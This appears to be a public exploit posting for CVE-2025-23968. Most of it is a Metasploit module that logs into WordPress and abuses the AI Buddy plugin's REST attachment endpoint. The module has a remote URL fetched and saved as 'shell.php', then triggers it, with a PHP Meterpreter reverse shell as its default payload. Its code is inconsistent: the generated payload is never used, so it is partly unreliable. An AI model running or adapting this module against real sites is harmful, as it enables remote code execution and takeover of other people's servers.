============================================================================================================================================= | # Title : AI Buddy WordPress plugin 1.8.5 Universal RCE Exploit Module | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://ai.cibeles.net/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/210977/ & CVE-2025-23968 [+] Summary : This module exploits an authenticated arbitrary file upload vulnerability in the AI Buddy WordPress plugin (<= 1.8.5). The vulnerability allows authenticated attackers to upload PHP webshells via the REST API attachment functionality [+] POC : use exploit/multi/http/wp_ai_buddy_rce set RHOSTS target.com set USERNAME admin set PASSWORD password123 exploit ## # AI Buddy Authenticated RCE Module # module for AI Buddy which requires authentication ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress AI Buddy Authenticated RCE', 'Description' => %q{ This module exploits an authenticated arbitrary file upload vulnerability in the AI Buddy WordPress plugin (<= 1.8.5). The vulnerability allows authenticated attackers to upload PHP webshells via the REST API attachment functionality. }, 'Author' => [ 'indoushka', # Metasploit module 'Ryan Kozak' # Original discovery ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-23968'], ['URL', 'https://wpcenter.io/'], ['WPVDB', '281518ff-7816-4007-b712-63aed7828b34'] ], 'Platform' => ['php'], 'Arch' => [ARCH_PHP], 'Targets' => [['Universal', {}]], 'DisclosureDate' => '2025-11-27', 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => false, 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Privileged' => false, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']), OptString.new('USERNAME', [true, 'WordPress username']), OptString.new('PASSWORD', [true, 'WordPress password']) ]) end def check return CheckCode::Unknown('Could not connect to target') unless wordpress_and_online? check_code = check_plugin_version_from_readme('ai-buddy', '1.8.6') if check_code.code == 'appears' return CheckCode::Appears("Vulnerable AI Buddy version detected: #{check_code.details[:version]}") end CheckCode::Safe('AI Buddy not detected or version not vulnerable') end def exploit # Login to WordPress print_status("Authenticating with WordPress...") cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) unless cookie fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') end print_good("Successfully authenticated") # Extract AI Buddy nonce nonce = extract_ai_buddy_nonce(cookie) unless nonce fail_with(Failure::Unknown, 'Could not extract AI Buddy nonce') end print_good("Extracted nonce: #{nonce}") # Upload webshell via REST API upload_webshell(cookie, nonce) end def extract_ai_buddy_nonce(cookie) print_status("Extracting AI Buddy nonce...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'tools.php'), 'method' => 'GET', 'cookie' => cookie }) unless res fail_with(Failure::Unreachable, 'Could not access tools.php') end # Extract nonce from JavaScript if res.body =~ /var ai_buddy_localized_data = ({.*?});/m json_data = JSON.parse($1) return json_data['ai_buddy_image_post_attachment']['nonce'] end nil end def upload_webshell(cookie, nonce) print_status("Uploading webshell via AI Buddy REST API...") php_payload = payload.encoded # For AI Buddy, we use a different approach since it fetches from URLs # We'll create a simple PHP file that includes our payload webshell_content = "" # Note: In practice, you'd need to host this file somewhere accessible # For the module, we'll use a placeholder approach payload_data = { 'title' => 'Exploit', 'caption' => 'Test', 'alt' => 'Test', 'description' => 'Test', 'url' => 'https://raw.githubusercontent.com/d0n601/d0n601/refs/heads/master/test.jpg', 'filename' => 'shell.php' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'wp-json', 'ai-buddy', 'v1', 'wp', 'attachments'), 'method' => 'POST', 'cookie' => cookie, 'headers' => { 'X-Wp-Nonce' => nonce, 'Content-Type' => 'application/json' }, 'data' => JSON.generate(payload_data) }) unless res fail_with(Failure::Unreachable, 'No response from REST API') end if res.code == 200 && res.body.include?('success') print_good("Webshell uploaded successfully") # Trigger the payload current_year = Time.now.year current_month = Time.now.month.to_s.rjust(2, '0') shell_url = "/wp-content/uploads/#{current_year}/#{current_month}/shell.php" print_status("Triggering payload at #{shell_url}...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, shell_url), 'method' => 'GET' }, 5) else print_error("Upload failed: #{res.body}") end end end Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================